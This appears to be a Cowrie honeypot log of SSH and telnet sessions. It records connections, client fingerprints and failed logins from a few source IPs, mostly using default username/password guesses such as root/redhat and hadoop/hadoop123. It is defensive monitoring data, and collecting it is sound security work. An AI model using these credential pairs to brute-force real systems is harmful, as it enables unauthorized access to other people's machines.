{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:05:59.718001Z","src_ip":"8.218.166.49","session":"dcab288e7ec5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:11.721124Z","src_ip":"8.218.166.49","session":"c7d331da8352","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":44488,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2cd849fcd3f","protocol":"ssh","message":"New connection: 47.86.95.62:44488 (10.17.0.5:22) [session: f2cd849fcd3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:12.114589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:12.118573Z","src_ip":"47.86.95.62","session":"f2cd849fcd3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:12.322477Z","src_ip":"47.86.95.62","session":"f2cd849fcd3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:13.176581Z","src_ip":"47.86.95.62","session":"f2cd849fcd3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":47150,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f790e4811de","protocol":"ssh","message":"New connection: 8.218.166.49:47150 (10.17.0.5:22) [session: 2f790e4811de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:13.643014Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:14.382982Z","src_ip":"47.86.95.62","session":"f2cd849fcd3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":44496,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c31d47f7676","protocol":"ssh","message":"New connection: 47.86.95.62:44496 (10.17.0.5:22) [session: 1c31d47f7676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:17.233148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:17.238026Z","src_ip":"47.86.95.62","session":"1c31d47f7676","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:17.440700Z","src_ip":"47.86.95.62","session":"1c31d47f7676","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:18.048757Z","src_ip":"47.86.95.62","session":"1c31d47f7676","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.010913372039795,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:20.074912Z","src_ip":"198.235.24.217","session":"05cf48bc82b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:20.440035Z","src_ip":"47.86.95.62","session":"1c31d47f7676","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":43084,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa14d327d7ca","protocol":"ssh","message":"New connection: 47.86.95.62:43084 (10.17.0.5:22) [session: fa14d327d7ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:25.278622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:25.283047Z","src_ip":"47.86.95.62","session":"fa14d327d7ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:25.489685Z","src_ip":"47.86.95.62","session":"fa14d327d7ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler123","message":"login attempt [dolphinscheduler/dolphinscheduler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:26.140501Z","src_ip":"47.86.95.62","session":"fa14d327d7ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:27.345685Z","src_ip":"47.86.95.62","session":"fa14d327d7ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"102.0","message":"Connection lost after 102.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:30.354582Z","src_ip":"8.218.166.49","session":"c7d331da8352","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:30.524779Z","src_ip":"8.218.166.49","session":"2f790e4811de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:30.528814Z","src_ip":"8.218.166.49","session":"2f790e4811de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00120186805725,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:32.647593Z","src_ip":"86.129.105.80","session":"0eb25eb6e255","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:39.168341Z","src_ip":"8.218.166.49","session":"a473c5e455db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:40.883698Z","src_ip":"8.218.166.49","session":"dcab288e7ec5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":51838,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bf4e185b954","protocol":"ssh","message":"New connection: 47.86.95.62:51838 (10.17.0.5:22) [session: 5bf4e185b954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:49.381686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:49.893158Z","src_ip":"47.86.95.62","session":"5bf4e185b954","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:49.900688Z","src_ip":"47.86.95.62","session":"5bf4e185b954","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"112.5","message":"Connection lost after 112.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:50.317082Z","src_ip":"8.218.166.49","session":"a473c5e455db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"elk@123","message":"login attempt [elk/elk@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:51.749412Z","src_ip":"47.86.95.62","session":"5bf4e185b954","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:52.965396Z","src_ip":"47.86.95.62","session":"5bf4e185b954","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":59516,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d80a34b4e04","protocol":"ssh","message":"New connection: 47.86.95.62:59516 (10.17.0.5:22) [session: 0d80a34b4e04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:56.031950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:56.036015Z","src_ip":"47.86.95.62","session":"0d80a34b4e04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:56.245485Z","src_ip":"47.86.95.62","session":"0d80a34b4e04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpuadmin","password":"gpuadmin","message":"login attempt [gpuadmin/gpuadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:56.876610Z","src_ip":"47.86.95.62","session":"0d80a34b4e04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:06:58.088943Z","src_ip":"47.86.95.62","session":"0d80a34b4e04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:07:05.686220Z","src_ip":"8.218.166.49","session":"2f790e4811de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"53.3","message":"Connection lost after 53.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:07:06.901981Z","src_ip":"8.218.166.49","session":"2f790e4811de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":48030,"dst_ip":"10.17.0.5","dst_port":22,"session":"304255fb35e6","protocol":"ssh","message":"New connection: 8.218.166.49:48030 (10.17.0.5:22) [session: 304255fb35e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:07:25.099553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:07:25.104570Z","src_ip":"8.218.166.49","session":"304255fb35e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":40286,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dab62c0cc30","protocol":"ssh","message":"New connection: 47.86.95.62:40286 (10.17.0.5:22) [session: 0dab62c0cc30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:07:28.408944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:07:28.413296Z","src_ip":"47.86.95.62","session":"0dab62c0cc30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:07:28.621409Z","src_ip":"47.86.95.62","session":"0dab62c0cc30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:07:29.624653Z","src_ip":"47.86.95.62","session":"0dab62c0cc30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:07:30.835500Z","src_ip":"47.86.95.62","session":"0dab62c0cc30","protocol":"ssh"}
